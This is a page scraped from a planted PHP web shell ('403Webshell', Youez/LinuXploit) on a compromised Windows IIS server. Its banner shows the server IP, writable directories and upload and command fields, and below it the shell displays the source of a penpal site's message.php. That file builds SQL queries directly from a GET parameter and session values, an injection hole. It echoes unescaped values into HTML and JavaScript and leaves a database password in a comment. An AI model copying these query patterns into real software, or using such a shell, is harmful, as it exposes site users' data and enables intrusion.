403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/penpaleurope.com/backup/app/Penpal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/penpaleurope.com/backup/app/Penpal//message.php
<?php
include "general.php";
include "onlineupdate.php";
include "photoupdate.php";

$palidother =$_GET['id'];
$query = "select nickname from penpalsubscriber where palid  = '$palidother'";
$queryresponse = getQuery1($query);
$nicknameother= $queryresponse;
$_SESSION['$nicknameother']=$nicknameother;

$query = "select billcode from penpalsubscriber where palid  = '$palid'";
$queryresponse = getQuery1($query);
if($queryresponse=="0"){

  $query = "select count(*) as tot from penpalmessagelimit where palidsender ='$palid' and  PalIDreceiver !='$palidother'";
  $counter = getQuery1($query);

  if($counter >=2)
   {

     header('Location:  recharge.php?err=1');
         die();
   }
}
//$receiver =$_GET['receiver'];
//$_SESSION['username']= $username;
//$_SESSION['receiver']= $receiver;

//$db = new PDO('mysql:host=127.0.0.1;dbname=smartsmsrouter','smsEngine','guEnaR28T');
//$username = $_SESSION['username'];
//$receiver = $_SESSION['receiver'];
//$query = $db->prepare("SELECT nickname,profile,palid FROM Penpalsubscriber where photo ='1' order by sn") ;
//$query->execute();

?>
<!DOCTYPE html>
<!--[if IE 8]> <html lang="en" class="ie8"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie9"> <![endif]-->
<!--[if !IE]><!--> <html lang="en"> <!--<![endif]-->
<!-- BEGIN HEAD -->
<head>
    <meta charset="UTF-8" />
    <title>PenpalAfrica | Meet New Friends In Africa </title>
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
    <meta http-equiv="Cache-Control" content="no-cache">
     <meta name="keywords" content="penpal, penpals, pen, pens, friend, friends, nigeria, africa, ghana, south africa, kenya, meet, new, friendship, boys, girls, male friends, female friends" />
   <meta name="description" content="Penpal Africa, Meet New Friends in Africa, pan social network, connect with Africa people, Meet people from Africa, great africa countries, meet new frineds in Nigeria, Ghana and South Africa" />
     <!--[if IE]>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
        <![endif]-->
    <!-- GLOBAL STYLES -->
    <link rel="stylesheet" href="assets/plugins/bootstrap/css/bootstrap.css" />
    <link rel="stylesheet" href="assets/css/main.css" />
    <link rel="stylesheet" href="assets/css/theme.css" />
    <link rel="stylesheet" href="assets/css/MoneAdmin.css" />
    <link rel="stylesheet" href="assets/plugins/Font-Awesome/css/font-awesome.css" />
    <!--END GLOBAL STYLES -->

    <!-- PAGE LEVEL STYLES -->
    <link href="assets/css/layout2.css" rel="stylesheet" />
       <link href="assets/plugins/flot/examples/examples.css" rel="stylesheet" />
       <link rel="stylesheet" href="assets/plugins/timeline/timeline.css" />

    <!-- END PAGE LEVEL  STYLES -->
     <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!--[if lt IE 9]>
      <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
      <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
    <![endif]-->
     <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script>

    <script>
    $(document).ready(function (e) {

      function displayChat(){
           var palidsender ="<?php echo $palid ?>";
           var palidreceiver ="<?php echo $palidother; ?>";

            //alert(palidreceiver);
           $.ajax({

             url: 'displayChat.php',
             type: 'Post',
             data:{
               palidsender:palidsender,
               palidreceiver:palidreceiver

             },
             success: function (data){

               $("#chatDisplay").html(data);

             }


           });
     }



     setInterval (function() {displayChat();},500);


    });

    </script>
    <script src="chatMessages.js"> </script>
</head>

    <!-- END HEAD -->

    <!-- BEGIN BODY -->
<body class="padTop53 " >

      <!-- MAIN WRAPPER -->
      <div id="wrap" >


          <!-- HEADER SECTION -->
          <div id="top">

              <nav class="navbar navbar-inverse navbar-fixed-top " style="padding-top: 10px;">
                  <a data-original-title="Show/Hide Menu" data-placement="bottom" data-tooltip="tooltip" class="accordion-toggle btn btn-primary btn-sm visible-xs" data-toggle="collapse" href="#menu" id="menu-toggle">
                      <i class="icon-align-justify"></i>
                  </a>
                  <!-- LOGO SECTION -->
                  <header class="navbar-header">

                      <a href="index.php" class="navbar-brand">
                      <img src="assets/img/penpallogo.png" alt="PenpalAfrica" />

                          </a>
                  </header>
                  <!-- END LOGO SECTION -->

                  <ul class="nav navbar-top-links navbar-right">

                      <!-- MESSAGES SECTION -->


                                                        <?php if ($expireDate < date('Y-m-d')) {
                                                             echo "<li><span class='label label-danger'>Your Subscription Expires $expireDate </span></span></li>";
                                                           }
                                                             else {
                                                               echo "<li><span class='label label-success'>Your Subscription Expires $expireDate </span></span></li>";
                                                             }
                                                             ?>
                      <li>  <a  href="#buttonedModalRecharge" data-toggle="modal"><?php if ($billcode =="0")
                                                                                                                    echo "<span class='label label-danger'>Upgrade to Premium Membership</span>";
                                                                                                                    else {
                                                                                                                     echo  "<span class='label label-info'>Premium Membership</span>";
                                                                                                                    }
                                                                                                                    ?>

                       </span></a></li>

                      <!--ADMIN SETTINGS SECTIONS -->

                      <li class="dropdown">
                          <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                              <i class="icon-user "></i>&nbsp; <i class="icon-chevron-down "></i>
                          </a>

                          <ul class="dropdown-menu dropdown-user">
                              <li><a href="#"><i class="icon-user"></i> User Profile </a>
                              </li>
                              <li><a href="#"><i class="icon-gear"></i> Settings </a>
                              </li>
                              <li class="divider"></li>
                              <li><a href="#buttonedModal" data-toggle="modal"><i class="icon-signout"></i> Logout</a>

                              </li>
                          </ul>

                      </li>
                      <!--END ADMIN SETTINGS -->
                  </ul>

              </nav>

          </div>
          <!-- END HEADER SECTION -->



          <!-- MENU SECTION -->
         <div id="left" >
              <div class="media user-media well-small">
                  <a class="user-link" href="gallery.php?id=<?php echo $_SESSION['palid'];?>">
                    <?php

                      if($photo == "1")
                       echo "<img class='media-object img-thumbnail user-img' alt='User Picture' src='assets/img/subscribers/".$_SESSION['palid']."/profile/". $_SESSION['palid'].".jpg' />";
                      else {
                       echo "<img class='media-object img-thumbnail user-img' alt='User Picture' src='assets/img/default/48.jpg' />";
                      }

                    ?>
                  </a>
                  <br />
                  <div class="media-body">
                      <h5 class="media-heading"> <?php echo ucwords($_SESSION['nickname']); ?></h5>
                      <ul class="list-unstyled user-info">

                          <li>
                               <a class="btn btn-success btn-xs btn-circle" style="width: 10px;height: 12px;"></a> Online

                          </li>

                      </ul>
                  </div>
                  <br />
              </div>

              <ul id="menu" class="collapse">


                  <li class="panel active">
                      <a href="index.php" >
                          <i class="icon-table"></i> Home


                      </a>
                  </li>
                  <li class="panel ">
                    <li> <a  href="#buttonedModalRecharge" data-toggle="modal"><i class="icon-user"></i> Recharge Your Account <span class="pull-right">
                                     <i class="icon-angle-left"></i></a>
                                   </span>
                        </a>
                   </li>
                 </li>
                  <li class="panel ">
                      <li><a href="palonline.php"><i class="icon-time"></i> Pals Online <span class="pull-right">
                                    <i class="icon-angle-left"></i>
                                  </span>
                                 &nbsp; <span class="label label-success"><?php echo  $online; ?></span>&nbsp;</a>
                     </li>
                </li>

                  <li class="panel ">
                    <li><a href="search.php"><i class="icon-search"></i> Search Pals<span class="pull-right">
                                      <i class="icon-angle-left"></i>
                                    </span></a>

            			  </li>
                  </li>
              <li class="panel ">
                <li><a href="photo.php"><i class="icon-picture"></i> Add Photos <span class="pull-right">
                                  <i class="icon-angle-left"></i>
                                </span>
                               </a>
        			  </li>
              </li>
              <li class="panel ">
      				    <li><a href="messagebox.php"><i class="icon-envelope"></i> Messages <span class="pull-right">
                                <i class="icon-angle-left"></i>
                              </span>
                              <?php

                                if($messageread >0)
                                 echo  "&nbsp; <span class='label label-danger'> $messageread</span>&nbsp;</a>";
                                 else {
                                   echo "</a>";
                                 }
                               ?>

      					 </li>
            </li>
            <li class="panel ">
                <li><a href="gallery.php"><i class="icon-film"></i> Gallery <span class="pull-right">
                              <i class="icon-angle-left"></i>
                            </span></a>

               </li>
          </li>
              <li class="panel ">
                <li><a href="likes.php"><i class="icon-heart"></i> Likes <span class="pull-right">
                                 <i class="icon-angle-left"></i>
                               </span>
                               <?php

                                 if($likes >0)
                                  echo  "&nbsp; <span class='label label-info'> $likes</span>&nbsp;</a>";
                                  else {
                                    echo "</a>";
                                  }
                                ?>

               </li>
             </li>
             <li class="panel ">
                <li><a href="visitors.php"><i class="icon-globe"></i> Visitors <span class="pull-right">
                               <i class="icon-angle-left"></i>
                             </span>
                             <?php

                               if($visitor >0)
                                echo  "&nbsp; <span class='label label-warning'> $visitor</span>&nbsp;</a>";
                                else {
                                  echo "</a>";
                                }
                              ?>

               </li>
  			    </li>

           <li class="panel ">
              <li><a href="settings.php"><i class="icon-road"></i> Settings <span class="pull-right">
                             <i class="icon-angle-left"></i>
                           </span>
                  </a>
             </li>
          </li>

          <li class="panel ">
             <li><a href="#buttonedModal"  data-toggle="modal"><i class="icon-signout"></i> Logout Page <span class="pull-right">
                            <i class="icon-angle-left"></i>
                          </span>
                 </a>
            </li>
         </li>


          </ul>

          </div>
          <!--END MENU SECTION -->



          <!--PAGE CONTENT -->
          <div id="content">
               <!-- inner wrapper -->
              <div class="inner" style="min-height: 700px;">


               <!-- ONLINE  SECTION -->
               <br>

                <div class="row">
                    <div class="col-lg-12">

                      <div class="chat-panel panel panel-success">
                          <div class="panel-heading">

                               <strong class="primary-font"><?php echo "Chating with ".ucwords($nicknameother);?> </strong>

                          </div>

                          <div class="panel-body">

                            <div id ="chatDisplay"></div>
                            <div id="notify"></div>
                        </div>

                        <div class="panel-footer">
                          <form action="#" onSubmit="return false;" id='chatForm'>
                            <div class="input-group">
                              <input type="hidden" name="palidsender" id ='palidsender' value='<?php echo $palid; ?>' />
                              <input type="hidden" name="palidreceiver" id ='palidreceiver' value='<?php echo $palidother; ?>' />
                              <input type="hidden" name="palsender" id ='palsender' value='<?php echo $nickname; ?>' />
                              <input type="hidden" name="palreceiver" id ='palreceiver' value='<?php echo $nicknameother; ?>' />
                              <?php

                              $query = "select photo from penpalsubscriber where palid  = '$palid'";
                              $myphoto = getQuery1($query);

                              if ($myphoto =="1"){

                                echo "<input id='message' name ='message' type='text' class='form-control input-sm' placeholder='Type your comment here...'/>
                                <span class='input-group-btn'>
                                    <button type='button' class='btn btn-success btn-sm' id='btn-chat'>
                                        Send
                                    </button>
                                </span></div></form>";
                              }else {
                                $query = "select photo from penpalsubscriber where palid  = '$palidother'";
                                $myphoto = getQuery1($query);
                                if ($myphoto =="0"){

                                  echo "<input id='message' name ='message' type='text' class='form-control input-sm' placeholder='Type your comment here...'/>
                                  <span class='input-group-btn'>
                                      <button type='button' class='btn btn-success btn-sm' id='btn-chat'>
                                          Send
                                      </button>
                                  </span></div></form>";
                                }else {

                                  echo "<input id='message' name ='message' type='text' class='form-control input-sm' placeholder='Type your comment here...' readonly/>
                                  <span class='input-group-btn'>
                                      <button type='button' class='btn btn-success btn-sm' id='btn-chat'>
                                          Send
                                      </button>
                                  </span></div></form>";

                                  echo "<p style ='color:red'>Sorry, you cannot chat with this pal. He has uploaded his Profile Picture. You need to upload your Profile Picture before you can chat with the Pal. <a href='photo.php'>Click Here To Upload Profile Picture</a></p>";


                                }


                              }?>

                        </div>


                      </div>


                  </div>

              </div>
                <!-- END ONLINE  SECTION -->
                <div class="row">

                  <div class="col-lg-12">
                         <div class="modal fade" id="buttonedModal" tabindex="-1" role="dialog"  aria-labelledby="myModalLabel" aria-hidden="true">
                                 <div class="modal-dialog">
                                   <div class="modal-content panel-primary">
                                       <div class="modal-header panel-heading">
                                             <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                                             <h4 class="modal-title" id="H1">Logout Page</h4>
                                         </div>
                                         <div class="modal-body">
                                            Are you sure you want to Logout?
                                         </div>
                                         <div class="modal-footer">
                                             <button type="button" class="btn btn-default" data-dismiss="modal">No</button>
                                             <a href ="logout.php"><button type="button" class="btn btn-primary">Yes</button></a>
                                         </div>
                                     </div>
                                 </div>
                             </div>
                     </div>


                </div>

                <div class="col-lg-12">
 <div class="modal fade" id="buttonedModalRecharge" tabindex="-1" role="dialog"  aria-labelledby="myModalLabel" aria-hidden="true">
         <div class="modal-dialog">
           <div class="modal-content panel-primary">
               <div class="modal-header panel-heading">
                     <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                     <h4 class="modal-title" id="H1">Upgrade to Premium Membership (via SMS)</h4>
                 </div>
                 <div class="modal-body">
                   <?
                   $query = "select country,msisdn,date(expirydate) from penpalsubscriber where palid ='$palid'";
                   $queryresponse = getQuery3($query);
                   if ($queryresponse != "#"){
                     $sep= explode(",", $queryresponse);
                     $country =$sep[0]; // piece1
                     $msisdn= $sep[1]; // piece2
                     $expireDate =$sep[2]; // piece1
                     $newExpiryDate =getNewExpiryDate($expireDate);
                     $cnt =0;
                     if($country == "Nigeria"){

                        $rechargemessage ="<strong>Send Penpal to 33811 from $msisdn</strong>.<br><br>After Sending the SMS, You will get below response<br>Present Expiry Date: <b>$expireDate</b> <br> New Expiry Date: <b>$newExpiryDate</b> <br>SMS Costs 	 N50.00 <br>Valid for Two Weeks Subscription";
                        $rechargemessage .="<br><br><strong>Why Being a Premium Member?</strong><ul><li>Your Subscription is extended by Two Weeks</li><li>You enjoy unlimited chatting with members</li><li>You have access to chat with our popular members</li></ul>";
                        echo $rechargemessage;
                        $cnt =1;
                     }

                     if($country == "Ghana"){

                        $rechargemessage ="<strong>Send Penpal to 1903 from $msisdn</strong>. <br>Present Expiry Date: $expireDate <br> New Expiry Date: $newExpiryDate <br>SMS Costs CH&#x20B5;0.50p <br>For Two Weeks Subscription";
                        $rechargemessage .="<br><br><strong>Why Being a Premium Member?</strong><ul><li>Your Subscription is extended by Two Weeks</li><li>You enjoy unlimited chatting with members</li><li>You have access to chat with our popular members</li></ul>";
                        echo $rechargemessage;
                        $cnt =1;
                     }


                     if($country == "South Africa"){

                        $rechargemessage ="<strong>Send Penpal to 33282 from $msisdn</strong>. <br>Present Expiry Date: $expireDate <br> New Expiry Date: $newExpiryDate <br>SMS Costs R1.50 <br>For Two Weeks Subscription";
                        $rechargemessage .="<br><br><strong>Why Being a Premium Member?</strong><ul><li>Your Subscription is extended by Two Weeks</li><li>You enjoy unlimited chatting with members</li><li>You have access to chat with our popular members</li></ul>";
                        echo $rechargemessage;
                        $cnt =1;
                     }
                     if($cnt ==0){
                       $query = "select displaymessage from penpalfortumocountry where country ='$country'";
                       $queryresponse = getQuery1($query);
                         if($queryresponse != "#"){

                              if(!empty($queryresponse)){
                                $queryresponse =str_replace("#msisdn#",$msisdn,$queryresponse);
                                $queryresponse =str_replace("#expirydate#",$expireDate,$queryresponse);
                                $queryresponse =str_replace("#newexpirydate#",$newExpiryDate,$queryresponse);
                                $queryresponse .="<br><br><strong>Why Being a Premium Member?</strong><ul><li>Your Subscription is extended by Two Weeks</li><li>You enjoy unlimited chatting with members</li><li>You have access to chat with our popular members</li></ul>";
                                $rechargemessage =$queryresponse;
                                echo $rechargemessage;
                              }else {
                                // call credit card
                                echo "<a href ='paypal.php' class='btn btn-warning btn-sm'>Pay with PayPal</a>";

                              }
                       }else{
                            //call credit card
                              echo "<a href ='paypal.php' class='btn btn-warning btn-sm'>Pay with PayPal</a>";
                            //header('Location:  paypal.php');
                            //die();

                        }

                     }

                   }
                   ?>

                 </div>
                 <div class="modal-footer">
                     <button type="button" class="btn btn-primary" data-dismiss="modal">Close</button>

                 </div>
             </div>
         </div>
     </div>
</div>




            </div><!-- Inner wrapper -->

        </div>
        <!--END PAGE CONTENT -->

         <!-- RIGHT STRIP  SECTION -->
        <div id="right">

<!--
            <div class="well well-small">
                <ul class="list-unstyled">
                    <li> online &nbsp; : <span>20%</span></li>
                    <li> Male &nbsp; : <span30>30%</span></li>
                    <li> Female &nbsp; : <span>70%</span></li>
                </ul>

            </div>
-->
            <div class="well well-small">
                <span>Pals Online </span><span class="pull-right"><small><? echo $online ?></small></span>

                <br><br>
                <span>Female Pals</span><span class="pull-right"><small><? echo $female ?>%</small></span>

                <div class="progress mini">
                    <div class="progress-bar progress-bar-success" style="width: <? echo $female ?>%"></div>
                </div>
                <span>Male Pals</span><span class="pull-right"><small><? echo $male ?>%</small></span>

                <div class="progress mini">
                    <div class="progress-bar progress-bar-info" style="width: <? echo $male ?>%"></div>
                </div>

            </div>




        </div>
         <!-- END RIGHT STRIP  SECTION -->
    </div>

    <!--END MAIN WRAPPER -->

    <!-- FOOTER -->
    <div id="footer">
        <p>&copy;  PenpalAfrica.com &nbsp;2017 &nbsp;</p>
    </div>
    <!--END FOOTER -->


    <!-- GLOBAL SCRIPTS -->
    <script src="assets/plugins/jquery-2.0.3.min.js"></script>
     <script src="assets/plugins/bootstrap/js/bootstrap.min.js"></script>
    <script src="assets/plugins/modernizr-2.6.2-respond-1.1.0.min.js"></script>
    <!-- END GLOBAL SCRIPTS -->

    <!-- PAGE LEVEL SCRIPTS -->



    <!-- END PAGE LEVEL SCRIPTS -->


</body>

    <!-- END BODY -->
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit